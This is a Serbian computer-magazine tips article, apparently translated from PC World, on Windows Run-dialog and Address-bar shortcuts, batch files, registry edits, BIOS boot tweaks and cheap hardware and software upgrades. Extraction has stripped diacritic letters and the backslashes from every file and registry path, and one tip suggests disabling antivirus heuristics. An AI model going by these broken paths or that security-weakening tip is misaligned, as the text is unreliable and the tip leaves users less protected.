odgovarajueg imena. Ako stavka nije na mestu gde je Windows uobiajeno trai (kao to je direktorijum Windows), moraete da upiete punu putanju, poput c:Program Filesoperaopera.exe da biste
pokrenuli ita Opera, ili \networkdocsreport.doc da biste navedeni dokument s mree otvorili u
Wordu. Ukoliko ste navikli da stavljate znake navoda oko putanja s dugakim imenima, to nee biti
problem u dijalogu Run, ali e u polju Address biti protumaeno kao Web adresa.
Iz polja Address moete otvoriti aplete Control Panela upisivanjem Control Panel i potom imena
apleta (na primer, Control PanelDisplay), a moete otvoriti i stavke omotnica Printers ili Dial-Up Networking (recimo PrintersLaserJet). Naredbe dijaloga Run nisu tako jednostavne (primera radi: control main.cpl keyboard).
Izdajte nareenja: Polje Address i dijalog Run moete upotrebiti i za zadavanje "DOS-ovih naredbi"
kao to su attrib, move ili xcopy. Drugim reima, moete upisati svaku naredbu koja postoji kao
nezavisna aplikacija u direktorijumu Windows Command (u Windowsu 9x i Me), odnosno
WindowsSystem32 (u Windowsu 2000 i XP). Na primer, da biste iskopirali sve tekstualne datoteke iz
direktorijuma Dokumenti u direktorijum Moji Tekstovi, upiite xcopy c:dokumenti*.txt "c:Moji Tekstovi" i pritisnite Enter (znaci navoda su neophodni ako ime bilo kog direktorijuma ili datoteke sadri
razmake). Windows naredbe izvrava u prozoru koji se zatvara nakon zavrenog posla. (Ukoliko
prozor ostaje otvoren proitajte savet koji sledi.)
ivot u prozoru: Da biste pokrenuli takozvane DOS naredbe iz polja Address ili dijaloga Run, pre
imena naredbe upiite command /c (ili command /k ako elite da komandni prozor ostane otvoren
nakon izvravanja naredbe). U Windowsu 2000 i XP moete se potedeti malo kucanja unoenjem
cmd umesto command.
Evo lakog naina za pravljenje komandne datoteke koja moe automatski da preimenuje grupu
datoteka: otvorite Notepad, upiite rename %1 %2, pritisnite Enter i snimite datoteku u direktorijum
DRAGAN MARKOVIC
Windows pod imenom rn.bat. Da biste sve datoteke s nastavkom .txt u direktorijumu preimenovali u
Wordove dokumente (s nastavkom .doc), u polje Address ili dijalogu Run upiite neto poput rn
"c:My Documents*.txt" *.doc (putanja e se u vaem sluaju, naravno, razlikovati).
Ako komandni prozor u kome se izvrila datoteka za paketnu obradu ostane otvoren po okonanju
posla, pritisnite ikonicu u levom uglu zaglavlja prozora i odaberite Properties. Na kartici Program
potvrdite Close on exit i pritisnite OK. Sledei put kada pokrenete komandnu datoteku prozor e se
automatski zatvoriti nakon zavrenog posla.
Komande u datotekama za paketnu obradu koje snimite s nastavkom .cmd (umesto .bat) u Windowsu 2000 i XP bie protumaene kao Web adrese, stoga ih preimenujte tako da dobiju nastavak
.bat, ili ih pokreite samo preko dijaloga Run.
Poaljite poruku: Da biste nekome poslali poruku putem polja Address i dijaloga Run, upiite mailto:
i potom elektronsku adresu primaoca (na primer, mailto:wintips@ pcworld.com), a zatim pritisnite
Enter. Podrazumevani program za e-potu otvorie novu praznu poruku, a u polje 'To:' bie upisana
adresa iz preice.
Pokrenite pretraivanje: Da biste potraili neki tekst na Webu pomou funkcije Auto-Search u IE,
pritisnite polje Address, upiite find, search, go ili samo ?, potom tekst koji traite i pritisnite Enter.
Nain na koji e rezultati pretrage biti prikazani moete prilagoditi tako to ete otvoriti ToolsInternet Options-Advanced, a zatim se spustiti do odeljka 'Search from the Address bar'. Neke opcije
moda nee raditi kao to oekujete jer Microsoft povremeno menja lokaciju na koju se ova funkcija
oslanja. Imajte na umu da ovakvim postupkom ne moete pretraivati iz dijaloga Run.
Neka Windows pie umesto vas: Prilikom upisivanja putanje do direktorijuma ili URL adrese u polju
Address ili dijalogu Run, funkcija AutoComplete ponudie prvi direktorijum ili Web adresu koja
odgovara upisanim znakovima. Da biste ponovo otvorili direktorijume ili posetili Web lokacije,
unesite onoliko slova koliko je potrebno da se odgovarajua lokacija pojavi. Ako tom tekstu hoete
poneto da dodate, pritisnite taster sa strelicom nadole da biste odabrali najpribliniji po znaenju,
pa nastavite da piete. Ponavljajte to dok ne dobijete celu putanju, a zatim pritisnite Enter.
Skratite preice: Umesto da u polju Address ili dijalogu Run piete cele putanje, napravite preice u
direktorijumima u kojima ih Windows podrazumevano trai. U Windowsu 9x i Me, to je direktorijum
WindowsCommand. U Windowsu 2000 i XP preice smestite u direktorijum WindowsSystem (ne
WindowsSystem32), poto je direktorijum System relativno prazan.
Da biste napravili preice, otvorite Explorer i odaberite aplikacije, direktorijume i datoteke koje
najee koristite. Pritisnite ih desnim tasterom i prevucite u neki od pomenutih Windowsovih direktorijuma, otpustite taster mia i odaberite Create Shortcut(s) Here. (Tako moete da napavite i
preice do Web stranica.) Svakoj dajte kratko ime pogodno za pokretanje preko tastature; programu
za obradu teksta, na primer, dodelite preicu wp. Nemojte koristiti imena postojeih direktorijuma,
jer ete tako zbuniti Windows.
Kada ovaj savet koristite iz polja Address, prilikom upisivanja preice koja ne oznaava lokaciju na
Webu, upiite i nastavak .lnk (skriveni nastavak preica), na primer wp.lnk. S druge strane, u polju
Address i dijalogu Run, kada pokreete Web preice, upiite nastavak .url, na primer pcw.url. Ako u
nekom od pomenutih direktorijuma uvate i komandne datoteke, nastavak .bat moete izostaviti
kada piete njihova imena.
DRAGAN MARKOVIC
Zaobiite putanje: Da biste jo vie utedeli na kucanju odaberite Start-Run, upiite regedit i pritisnite
Enter.
U
levom
oknu
izaberite
sledeu
omotnicu:
HKEY_
LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionApp Paths. Desnim tasterom pritisnite App Paths a potom u desnom oknu odaberite New-Key, pa upiite skraeno ime iz polja Address
uz nastavak .exe, bez obzira na to elite li da pokrenete aplikaciju ili datoteku. Na primer, upiite r.exe
da biste pokrenuli datoteku sa izvetajem u aplikaciji za pripremu tampe. Zavrite tako to ete
pritisnuti Enter.
U levom oknu izaberite novi klju i dva puta pritisnite desno okno (Default). U polju 'Value data'
upiite putanju i ime programa, datoteke ili preice koje elite da pokrenete. (Imenima preica
dodajte nastavak .lnk, a Web preicama nastavak .url). Primera radi, upiite c:My DocumentsQuarterly Report.indd (SLIKA 4). Pritisnite OK i napustite Registry Editor. Kada u polju Address ili dijalogu Run upiete skraeno ime (bez dodatka .exe) - na primer r, da nastavimo raniji primer - Windows e otvoriti navedenu datoteku.
WINDOWSOVE ALATKE
Unapredite kopiranje alatkom Total Copy
UKOLIKO RAUNAR prekinete usred kopiranja velikog broja datoteka ili direktorijuma, ponekad
ete teko odrediti ta je iskopirano u potpunosti, a ta nije. Tada morate krenuti iz poetka ili pak
runo otvoriti svaki direktorijum da biste proverili njegov sadraj. Alatka Total Copy ubacuje dve
dodatne naredbe Total Copy Here and Total Move Here) u meni koji se pojavljuje kada prevlaite
datoteke desnim tasterom mia. Program automatski pravi pauze kada se problem pojavi i kasnije
nastavlja s mesta na kom je stao. Postoje komande i za runo pauziranje i nastavljanje i za
podeavanje brzine kopiranja (pogodno za nestabilne mrene veze). Autor programa Bjern Guliksen
tvrdi da Total Copy radi bre od funkcije za kopiranje ugraene u Windows. Premda je pisan tako da
radi s Windowsom 9x i 2000, bez problema sam ga koristio i u Windowsu Me i XP. Besplatnu kopiju
moete preuzeti s lokacije find.pcworld. com/37259 ili s naeg disk
DRAGAN MARKOVIC
Omaijani raunari
Preko etrdeset povoljnih i sjajnih naina da izvuete vie iz hardvera, softvera i Weba - od nadogradnje procesora do besplatnih trikova za Windows
Moni maliani
DRAGAN MARKOVIC
Mi na putu
Bre fotografije
DRAGAN MARKOVIC
Bri podaci
Izmerite
TCP/IP
puls
na
Web
lokaciji
SpeedGuide.net,a zatim optimalno podesite vezu s
Internetom jednim pritiskom na taster mia pomou
besplatne alatke SG TCP Optimizer
Pravi zvuk
Jednostavno prekidanje veze
DRAGAN MARKOVIC
Najblii prijatelji (obojica, ukljuujui i mog pedikira) smatraju me tedljivom osobom. Ako negde
postoji dobra prilika za kupovinu, ja u je ugrabiti.
Naravno, biti tedljiv ne znai kupovati nekvalitetne proizvode, nego kupovati i raditi pametno dobiti pravu alatku za obavljanje posla po najpovoljnijoj ceni. (Najzad, jeftino je runa re, zar ne?
Meni se vie dopada izraz "finansijski primamljivo".)
Postoje velike anse da ete obradovati raunar ili proiriti mogunosti Windowsa i svakodnevnih
aplikacija i poboljati rad periferijskih ureaja, a da se ne maite za novanik. Veina saveta koji
slede ne kotaju nita, a oni koji zahtevaju otvaranje novanika ne trae vie od 50 USD.
Bilo da se va sistem ali na vrsti disk koji tuca, neposluan operativni sistem ili lou vezu s Internetom, postoji jeftino ili besplatno reenje. Kada se sistem oporavi, imaete raunar iz snova.
Modernizujte Softver
Ubrzajte pokretanje Windowsa XP: XP je veoma prilagodljiv - pokuava da ugodi svima (naroito ako
imaju rudnik zlata). On uitava razne vrste mrenih i drugih usluga koje vam nisu potrebne. Spreite
li njihovo uitavanje, utedeete memoriju i poboljati performanse sistema. Da biste to uradili,
izaberite Start-Run, unesite services.msc i pritisnite . Pritisnite jeziak kartice Extended i potraite
sumnjive usluge. Da biste spreili uslugu da se automatski pokree, pritisnite je dvaput tasterom
mia i izaberite Disabled iz padajueg menija Startup type na kartici General. Vrste usluga koje
moete onemoguiti zavise od konfiguracije do konfiguracije, ali jedan od dobrih kandidata je Messenger (to nije MSN ili Windows Messenger). Detaljniji opis usluga Windowsa XP pronai ete na
lokaciji BlackViper.com ili na adresi find.pcworld.com/34595. Na ovoj lokaciji ete pronai i vodie
za instaliranje ako tek planirate da preete na Windows XP.
Napravite bolju zamku za viruse: Da bi sistem bre radio, razmislite o iskljuivanju heuristike
mogunosti antivirusnog programa (ona verovatno i ne radi ba dobro) ili, jo bolje, isprobajte neku
od novih superbrzih antivirusnih alatki: besplatan program AVG kompanije Grisoft
(http://www.grisoft.com/)
ili
ViRobot
Experta
(40
USD)
kompanije
Hauri
(http://www.globalhauri.com/). Obe su bre od Norton AntiVirusa i drugih antivirusnih paketa, a podjednako su efikasne. AVG i probnu verziju ViRobot Experta moete preuzeti s adrese
find.pcworld.com/34355. Dodatni savet: Utedeete novac i prostor na disku ako sistem besplatno
proverite na lokaciji kompanije Hauri ili na adresi Housecall.antivirus.com.
Podignite Excel na vii nivo: Excel ima vie opcija nego to su izvrni direktori Internet kompanija
imali deonica 1999. godine. Strunjak za Excel i nekadanji urednik asopisa PC World Don Volkenbah na svojoj lokaciji kae da je "dijalog Options u sutini fioka za Excelove otpatke i glavni kandidat
za naslovnu stranu asopisa za lo dizajn korisnikog okruenja." Ukrotite zver pomou Donovog
programa PUP (40 USD). On pregledno organizuje Excelove opcije, a njegove alatke (ima ih preko
ezdeset) proiruju menije, dodaju desetine alatki za opseg elija i obezbeuju tampanje u pozadini. Posetite adresu find.pcworld.com/34352 da biste preuzeli potpuno funkcionalnu tridesetodnevnu probnu verziju.
Isprobajte besplatnu zamenu za Office: Da li ste toliko tedljivi da na polici sa zainima drite samo
paketie koje ste uzeli u restoranima brze hrane? U tom sluaju, biete sreni kada budete saznali
da moete itati i tampati datoteke iz Officea, a da ne potroite prostor na disku i mnogo novca.
Samo preuzmite besplatne programe za pregledanje dokumenata iz raznih Officeovih aplikacija, koji
omoguavaju itanje i tampanje datoteka napravljenih u Accessu (verzije 97 i 2000), Excelu (verzije
DRAGAN MARKOVIC
97 i 2000), PowerPointu (verzije 95 i 2002) i Wordu (verzije 97 do 2000). Oni verno prikazuju fontove,
boje, dijagrame i animacije, a nee vas kotati ni dinara. Moete ih preuzeti s adrese
find.pcworld.com/34385.
Ne shvatajte lino Officeove menije: Microsoft je iz Officea uklonio groznu animiranu spajalicu, ali
su ostala druga dosadna proirenja poput "linih" menija, koji sakrivaju opcije koje ne koristite
esto. Ukoliko vam ponekad zatrebaju, a katkad idu na ivce, ove menije lako moete ukljuiti ili
iskljuiti. Dvaput miem pritisnite neki od menija (na primer, File ili Tools) da biste videli sve
dostupne opcije.
Ubrzajte datoteke uklanjanjem veza: Da li su vam radni listovi u Excelu tromi, a Wordovi dokumenti
se sporo uitavaju? OLE moe biti krivac. Tehnologija povezivanja i ugraivanja objekata (Object
Linking and Embedding, OLE) omoguava dodavanje dinamikih podataka u datoteke (na primer,
elija iz Excelovog radnog lista u Wordov dokument). Ukoliko podaci vie ne treba da se aktivno
auriraju, pretvorite ih u statike: pritisnite objekat desnim tasterom mia i izaberite HyperlinkRemove Hyperlink, pa raunar nee uzalud troiti procesor na auriranje nepotrebnih veza.
Izbegnite lokalnu tampariju: Zato biste ili u tampariju ili unajmili strunjaka za izdavatvo da
biste odtampali broure, biltene, letke i kataloge? Aplikacija ClickBook 6 (50 USD) kompanije Blue
Squirrel olakava dizajniranje i tampanje knjiica, rokovnika, posetnica, broura i slinog materijala. Ceo posao moete obaviti u bilo kojoj aplikaciji Officea. Program podrava preko etrdeset
stilova knjiica, viestranino dvostrano tampanje, automatsko prilagoavanje veliine, vodene
igove i razne tipove preloma. Rad s ovim programom nije ba jednostavan, ali kada se izvetite,
dokumente ete tampati za tren oka. Probnu verziju moete preuzeti s adrese
find.pcworld.com/34343.
Bre od Brzog Gonzalesa: Tvrdokorne pristalice korienja mia rugaju se preicama sa tastature,
ali one mogu utedeti mnogo vremena. Na primer, pritiskom na -D snimiete adresu omiljene
lokacije u Internet Exploreru. Budui da se preice teko pamte, Office 2000 i XP priskau u pomo:
u bilo kojoj aplikaciji (osim Excela i Publishera) izaberite Tools-Customize-Options i potvrdite polja
Show Screen Tips on Toolbars i Show shortcut keys in ScreenTips. Kada sledei put prevuete
pokaziva mia preko nekog dugmeta na paleti alatki, videete i odgovarajuu preicu. Ova promena e se odnositi na sve aplikacije koje je podravaju. Vie informacija o preicama potraite u
rubrici Odgovori na pitanja.
Dodatni savet: Da biste videli sve preice u Wordu, izaberite Tools-Macro-Macros. U dijalogu
Macros in izaberite Word Commands, a zatim dvaput miem pritisnite ListCommands. Izaberite
Current menu and keyboard settings i pritisnite OK. Word e odmah napraviti spisak svih preica sa
tastature.
Uposlite programe iz paketa PowerToys Windowsa XP: Nekima se dopada marcipanski izgled Windowsa XP i pas traga koji mae repom. Drugima (ukljuujui i mene) doe da vrite kada vide te
divote. Meutim, umesto da urlam, poeo sam da koristim Microsoftov besplatan paket alatki PowerToys. Za srce mi je prirasla aplikacija Tweak UI, koja omoguava iskljuivanje Internet Explorerove
dosadne funkcije AutoPlay i podeavanje drugih delova interfejsa jednim pritiskom na taster mia.
Druge dve omiljene alatke su Image Resizer, za brzo uveanje i umanjenje slike jednim pritiskom na
taster mia, i Taskbar Magnifier. (Svia mi se i alatka Alt-Tab Replacement koja prikazuje aktivne
aplikacije, ali je kretanje izmeu otvorenih prozora sporije, pa je zato ne koristim.) PowerToys za
Windows XP moete preuzeti s adrese find.pcworld.com/34349.
Ubrzajte pokretanje Windowsa XP na Microsoftov nain: Trenutno pokretanje je san svih korisnika
Windowsa. Ono je verovatno vekovima daleko, ali korisnici Windowsa XP mogu bar skratiti vreme
DRAGAN MARKOVIC
pokretanja tako to e instalirati Microsoftovu besplatnu alatku BootVis. Ovaj program prvo
odreuje sve programe koji se pokreu zajedno s Windowsom, a zatim premeta datoteke i
preureuje redosled njihovog pokretanja kako bi se postigla maksimalna brzina - vreme pokretanja
moe biti krae za 15 do 45 sekundi. S druge strane, moda neete primetiti nikakvo poboljanje. Da
li je ovaj program vredan vremena i truda? Stiv Bas ga je isprobao i njegov odgovor je "da". Posetite
adresu find.pcworld.com/34346 i proitajte Stivovo miljenje o BootVisu (na istom mestu ete
pronai i hipervezu za njegovo preuzimanje).
Brzo dodajte stranu interpunkciju: Ako su vam u Wordu potrebna slova stranog jezika, zaboravite na
tabelu znakova i dodajte ih pomou tastature. Da biste prikazali dugouzlazni akcenat, pritisnite -
(apostrof), a zatim i slovo koje elite da akcentujete (na primer, u rei "no ms"). Ako elite da dobijete kratkouzlazni akcenat, pritisnite -` (polunavodnik koji se nalazi na tasteru iznad tastera na veini
tastatura). Slova s tildom ete dobiti ako pritisnete --~, slova sa znakom duine (cirkumfleksom)
pritiskom na --^ (^ se nalazi na tasteru s brojem 6), a slova s preglasom ako unesete --:. Dodatni
savet: Ako u Wordov sistem pomoi unesete izraz foreign punctuation, videete sve odgovarajue
preice sa tastature.
Organizujte sve stavke u Outlooku: Pristigle poruke Outlook standardno rasporeuje po datumu i
vremenu, ali imate i druge mogunosti. Na primer, ako traite koruke e-pote s velikim prilozima,
pritisnite dugme Size na vrhu prozora da bi se one pojavile na poetku spiska. Da biste poruke uredili po imenu poiljaoca, pritisnite dugme From i unesite prvo slovo imena.
PRENOSIVI RAUNARI
Moni maliani
Iskoristite mini-alatke za lagodan rad s prenosivim raunarom: Kada je re o prenosivim raunarima,
malo je dobro, ali je malo, jeftino i pametno jo bolje. Ureaji kompanija LapWorks i Codi imaju sve
tri osobine. USB Mini Keyboard Light (18 USD) kompanije Codi osvetljava raunar u mranim prostorijama ili u krevetu. Za 20 USD moete kupiti minijaturno USB vorite s etiri prikljuka Four Port
USB Hub kompanije LapWorks. Ista kompanija proizvodi i Laptop Desk (30 USD), laganu i otpornu
platformu veliine 30 x 30 cm, koja moe da slui kao postolje za prenosivi raunar ili kao prenosivi
podmeta s gumenom povrinom koja spreava klizanje.
Jeftine nadogradnje sistema
Povratite memoriju: Programi u Windowsu su nalik tinejderima - nee uvek vratiti sve na svoje
mesto kada obave posao. MemTurbo II (30 USD) kompanije Silicon Prairie Software nenadmaan je
u oslobaanju memorije koju su zauzeli zatvoreni, prekinuti ili loe napisani programi. Naalost, on
ne moe da isprazni dva nepristupana bloka memorije od 64 KB u Windowsu 95/98, a to je glavni
razlog to se javlja poruka o "nedovoljnim resursima". Instaliranje Windowsa XP je pravo reenje jer
on mnogo bolje upravlja memorijom, ali MemTurbo II obezbeuje olakice korisnicima koji to ne ele
da urade. Probnu verziju moete preuzeti s adrese find.pcworld.com/34379.
Ubrzajte procesor: Ako imate sistem zasnovan na procesoru Celeron ili Athlon, nadogradnja e vas
kotati manje od 50 USD. (Proverite u dokumentaciji ili na Web lokaciji proizvoaa da li vaa
matina ploa podrava bri procesor.) Na primer, na lokaciji Googlegear.com nadogradnja do procesora Celeron brzine 1,3 GHz kota 47 USD, a sline nadogradnje moete pronai i za procesore
Athlon XP. Proverite da li novi procesor ima hladnjak i ventilator. Na adresi find.pcworld.com/ 34376
pronai ete vodi za nadogradnju procesora Stena Mjastkovskog.
DRAGAN MARKOVIC
PRENOSIVI RAUNARI
Mi na putu
Ovaj mi voli da putuje: Nijedna pokazivaka ploica na prenosivom raunaru ne moe se meriti s
udobnou, oseajem i preciznou mia. Na naredno poslovno putovanje ponesite PocketMouse
Pro (44 USD) kompanije Kensington. Moderan dizajn i zgodan USB kabl koji moe da se uvlai ine
ovaj ureaj sjajnim dodatkom za svaki prenosivi raunar. Na adresi find.pcworld.com/34443 moete
proitati nae utiske o ovom proizvodu.
Napravite rezervne kopije bre i povoljnije: Stalno vam dosaujemo savetom da pravite rezervne
kopije podataka - i to emo opet uraditi. Ako ste dosad zamerali softveru za pravljenje rezervnih
kopija da je spor, komplikovan i skup, prestanite da zakerate. Kompanija Maximum Output Software
prodaje tri verzije softvera FileBack PC: verzija od 25 USD omoguava pravljenje rezervnih kopija na
vrstim diskovima ili izmenjivim medijumima, sinhronizovanje direktorijuma i automatsko pravljenje
rezervnih kopija prilikom pokretanja i iskljuivanja Windowsa. Mrena verzija od 35 USD obezbeuje
pravljenje rezervnih kopija na drugim raunarima u mrei i obavetavanje putem e-pote o
zavrenom poslu. Poslovna verzija od 45 USD omoguava strunjacima da prave proizvoljne konfiguracije za grupe. Sve tri verzije imaju arobnjake koji e vas efikasno provesti kroz proces pravljenja rezervnih kopija. Probnu verziju ogranienih mogunosti moete preuzeti s adrese
find.pcworld. com/34610.
Bre pokrenite sistem pomou BIOS-a: Otvorite program za podeavanje BIOS-a pritiskom na
odgovarajui taster prilikom pokretanja sistema (pre uitavanja Windowsa). U odeljku Boot ukljuite
funkciju Rapid BIOS Boot ili "quick boot" i iskljuite dosadne dijagnostike procedure. Ukljuite
mogunost Silent Boot da biste eliminisali poruke koje se pojavljuju tokom pokretanja.
Onemoguite opcije kao to je Scan User Flash Area ako nemate SCSI vrsti disk, niti pokreete
operativni sistem putem mrene kartice s lokalne mree. Iskljuite opciju Automatic detection of
hard drives, pa BIOS nee traiti nepostojee diskove, a zatim pokrenite proceduru za prepoznavanje IDE ureaja da biste otkrili i snimili parametre postojeih diskova. Tako ete utedeti pet
do deset sekundi prilikom pokretanja raunara. Ukoliko koristite Windows XP, pogledajte odeljak
"Ubrzajte pokretanje Windowsa XP na Microsoftov nain".
Produite trajanje baterije prenosivog raunara: Naravno da e preuzimanje omiljenih MP3 datoteka
istroiti bateriju bilo kog prenosivog raunara, ali su najvei potroai ipak ekran, spoljanji diskovi,
kartice za lokalne i beine mree, pokazivaki ureaji i memorijske ili USB kartice. Sve to vam ne
treba, izvadite ili iskljuite. Trajanje baterije moete produiti i ako smanjite osvetljenje ekrana
pomou kombinacije tastera . Da biste primorali ita Weba da umesto vrstog diska koristi sistemsku memoriju, veliinu ostave na disku smanjite na nulu. Otvorite Windowsov aplet Power u Control
Panelu (Power Options u Windowsu XP) i podesite sistem tako da brzo iskljuuje ureaje koji se ne
koriste (na primer, za uvara ekrana izaberite opciju After 3 minutes, a za iskljuivanje raunara
opciju After 10 minutes).
Oistite vrsti disk: Kada vrsti disk pone da lii na studentski dom tokom ispita (zatrpan je digitalnim ekvivalentima ostataka brze hrane, ivrljanih papira i prljavih arapa), vreme je da ga dobro
oistite. Windowsova alatka Disk Cleanup omoguava brisanje Web strana, nagomilanih kolaia,
privremenih datoteka i drugih izlinih datoteka koje usporavaju sistem (pritisnite More Options da
biste saznali druge naine za oslobaanje prostora). Meutim, ona ne brie preuzete priloge e-pote,
Netscapeovu ostavu i Officeove nepotrebne datoteke. Zato dozvolite uslunom programu Window
Washer (30 USD) kompanije Webroot da navue gumene rukavice i da se baci na posao. Potpuno
funkcionalnu probnu verziju moete preuzeti s adrese find.pcworld.com/34367.
DRAGAN MARKOVIC
Besplatno ubrzajte grafiku: Hoete bolje video performanse? Otpuite cevi raunara, tj. podesite
AGP otvor (AGP Aperture Setting, AAS) u programu za podeavanje BIOS-a (pokrenite ga pritiskom
na odgovarajui taster pre nego to Windows pone da se uitava). AAS zadaje koliinu memorije
koju AGP kartica moe da koristi ako joj ponestane prostora za smetanje podataka o teksturama
(na primer, za pozadinske slike u igrama). Dananje grafike kartice imaju vlastitu memoriju, tako da
verovatno nikada nee morati da pozajmljuju sistemsku, ali se starije kartice, sa samo nekoliko
megabajta memorije, mogu znatno ubrzati. Podesite otvor tako da bude dvostruko vei od koliine
memorije na kartici i dodajte mu jo dvanaest megabajta. Primera radi, ako vaa grafika kartica ima
16 MB memorije, AGP otvor bi trebalo da iznosi 44 MB (32 MB + 12 MB). Ukoliko zadate vrednost
manju od 16 MB, kartici e nedostajati podaci; s vrednou preko 256 MB raunar nee imati
dovoljno memorije, pa e Windows poeti da koristi sporu virtuelnu memoriju. Imajte na umu da ne
dozvoljavaju svi BIOS-i podeavanje ovog parametra.
Sinhronizujte za tren oka: Da li sinhronizacija podataka s linog digitalnog pomonika traje due
nego pre? Najverovatniji razlog za to su dodatni programi na listi za sinhronizaciju koji usporavaju
proces. Pritisnite desnim tasterom mia ikonicu HotSync u sistemskoj paleti i izaberite Custom.
Potom izaberite program koji ne elite da sinhronizujete i pritisnite Change. Izaberite Do nothing, a
zatim pritisnite Set as default da biste trajno snimili parametre. Budui da se sada usklauje manje
aplikacija, sinhronizacija e biti bra.
FOTOAPARATI
Bre fotografije
Uhvatite akciju: Ako va digitalni fotoaparat sporo okida, pokuajte da ubrzate njegovu memoriju.
Skoro svi digitalni fotoaparati uvaju snimke na sporim memorijskim karticama. Ukoliko va aparat
moe da koristi bru memorijsku karticu, obavezno je kupite. Memorijska kartica 8X 64MB kompanije Lexar Media kota samo 40 USD. Da biste ubrzali prenoenje slika iz aparata u raunar, koristite najbru dostupnu vezu ili, jo bolje, kupite samostalni ita memorijskih kartica poput modela
CompactFlash Reader (40 USD) kompanije Lexar Media koji koristi vezu USB 1.1.
ivele Periferije
Detaljan pregled diskova: Da li bezimeni CD-R diskovi zaista snimaju podatke brzinom 16X? Koliko
brzo va ureaj moe da snima CD-RW diskove? Dve besplatne alatke e vam obezbediti sve informacije. Alatka InfoTool kompanije Nero prikazuje brzinu upisivanja, podrane formate i druge informacije za sve CD i DVD ureaje u sistemu, kao i za njihove medije. CDR Identifier ide korak dalje:
otkriva proizvoaa diska, vrstu boje i medija, maksimalan kapacitet, brzinu snimanja i druge
detalje. Posetite adresu find.pcworld.com/34373 da biste preuzeli oba programa.
Pretvorite skener u mainu za fotokopiranje: Oslobodite mainu za fotokopiranje zarobljenu u
skeneru pomou besplatnog uslunog programa Photocopier 2.26 Nika Kupena. Stavite materijal u
skener i podesite odgovarajue parametre: vrstu skeniranja (crno-belo, u nijansama sive ili u boji),
uveanje (100 procenata ili 70 procenata), nivo zatamnjenja i broj kopija. Potom pritisnite Copy i
saekajte kopije iz tampaa. Ako za 18 USD kupite verziju Photocopier Pro, kopije ete moi da
pravite pritiskom na odgovarajui taster na skeneru. Verzija Pro obezbeuje i pregledanje skeniranog materijala, alatke za obradu i snimanje kopija na disk u raznim formatima. Photocopier 2.26 i
probnu verziju Photocopiera Pro moete preuzeti s adrese find.pcworld.com/ 34360.
Dodatni savet: Skenirate lanak iz novina? Da biste izbegli skeniranje poleine iseka, postavite
pare crnog papira ispod materijala koji skenirate.
Skenirajte u visokoj rezoluciji, a zatim je smanjite: Skeniranjem u visokoj rezoluciji spreite gubitak
DRAGAN MARKOVIC
kvaliteta koji moe nastati prilikom obrade. Ukoliko softver to dozvoljava, skenirajte u reimu s velikim brojem bitova (12 ili 16 po kanalu). Rezultujua datoteka bie vea nego kad skenirate s manjim
brojem bitova, ali je verovatno moete smanjiti u programu za obradu slika. Kada ste zadovoljni
rezultatom, pretvorite sliku u osmobitne boje.
Izvucite vie iz JPEG datoteka: Ako vam je brzina najvanija, snimke u digitalnom fotoaparatu
uvajte kao JPEG datoteke. Za svakodnevne snimke, srednja rezolucija (1024 768) dovoljna je da
se dobiju sjajne fotografije veliine 13 18 cm. Ukoliko slikate prirodu, poveajte rezoluciju JPEG
datoteka ili ih snimite kao TIFF datoteke. Prilikom obrade JPEG slika zapamtite nivo kompresije i
koristite tu vrednost; ako poveate nivo kompresije, kvalitet slike e opasti. Bolje je da obraene
JPEG datoteke snimate kao vee (i sporije) TIFF datoteke.
Prebacite muziku iz stereo ureaja u raunar: Nemojte stare ploe koristiti kao podmetae. Da biste
ih pretvorili u MP3 datoteke, morate imati zvunu karticu, kabl sa stereo konektorom na jednom
kraju i parom RCA prikljuaka na drugom i odgovarajui program koji prihvata analogni audio signal
(na primer, LP Recorder 5 od 30 USD kompanije CFB Software, probnu verziju moete preuzeti s
adrese find.pcworld.com/34370). Prikljuite RCA konektore u levi i desni audio izlaz na stereo
ureaju, a drugi kraj kabla poveite sa ulaznim prikljukom na zvunoj kartici. Pokrenite program,
ukljuite stereo ureaj, stavite plou na gramofon i zaponite snimanje. Zaas ete sve ploe pretvoriti u direktorijum pun MP3 datoteka. Na slian nain moete presnimiti i stare kasete.
STONI RAUNARI
Bri podaci
Ubrzajte vrsti disk: Va novi ATA/100 ili ATA/133 vrsti disk se vue umesto da leti? Proverite kabl
koji povezuje disk i interfejs. Verovatno e vam trebati EIDE kabl sa 80 ica (kota 15 USD i
poboljae performanse diska). EIDE kablovi mogu pomoi i starijim ATA-33 i ATA-66 diskovima, ali
ako matina ploa podrava samo ATA-33 ili ATA-66 interfejs, moraete da nabavite novi brzi ATA
kontroler poput modela Ultra100TX2 ili Ultra133TX2 kompanije Promise Technology (to e vas
kotati 30 ili 45 USD). Kada ga ugradite, BIOS e verovatno vrsti disk i dalje traiti na starom kontroleru. Da biste reili ovaj problem, u programu za podeavanje BIOS-a parametrima diska dodelite
vrednost None ili Auto detection. Na taj nain e BIOS zanemariti ugraeni IDE interfejs i vrste diskove e traiti na dodatnim karticama. Poto snimite podeavanja i ponovo pokrenete sistem, novi
kontroler e automatski prepoznati vrsti disk i poeti da uitava operativni sistem, ali mnogo
bre.
Uklonite moare: Kada skenirate slike iz asopisa ili novina, one obino izgledaju kao da su skenirane kroz lananu ogradu - taj efekat se zove moare. Da biste ga uklonili, malo zarotirajte sliku. Ukoliko to ne pomogne, poveajte rezoluciju skeniranja za najvie 50 procenata. Ako softver za skeniranje ima funkciju za uklanjanje moarea, iskoristite je. Ukoliko nijedno od ovih reenja ne d rezultate, otvorite sliku u programu za obradu slika i potraite opcije "despeckle" ili "Gaussian blur". U
Adobe Photoshopu, na primer, izaberite Filter-Noise-Despeckle (slika e biti meka) ili Filter-BlurGaussian Blur (slina alatka koja obezbeuje precizniju kontrolu). U Photoshopu moete izabrati i
Filter-Sharpen-Unsharp Mask, a zatim se malo poigrati s klizaima da biste dobili sliku kakvu elite.
Snimajte bre, jeftinije i bezbednije: Presnimavanje kompakt diskova je osetljiv posao. Bolje je da
prvo na vrstom disku napravite kopiju diska koji elite da presnimite, iskljuite sve aktivne programe, a zatim je snimite na drugi kompakt disk. Tako ete dugorono utedeti mnogo vremena i
izbei greke koje nastaju zbog praznog bafera.
Dodatni savet: Kupili ste brz snima? Moda neete ni morati da kupujete najbre medije. Na primer,
na medije brzine 40X najee se moe snimati brzinom 48X ili ak 52X. Eksperimentiite s medijima
DRAGAN MARKOVIC
koje preporuuje proizvoa vaeg ureaja - moete utedeti novac, a ne izgubiti na brzini.
Utedite novac, spasite planetu: Sto dolara za toner laserskog tampaa? Nikako. Slobodno kupite
reparirani toner i utedite polovinu novca. Takve tonere moete pronai u skoro svim prodavnicama.
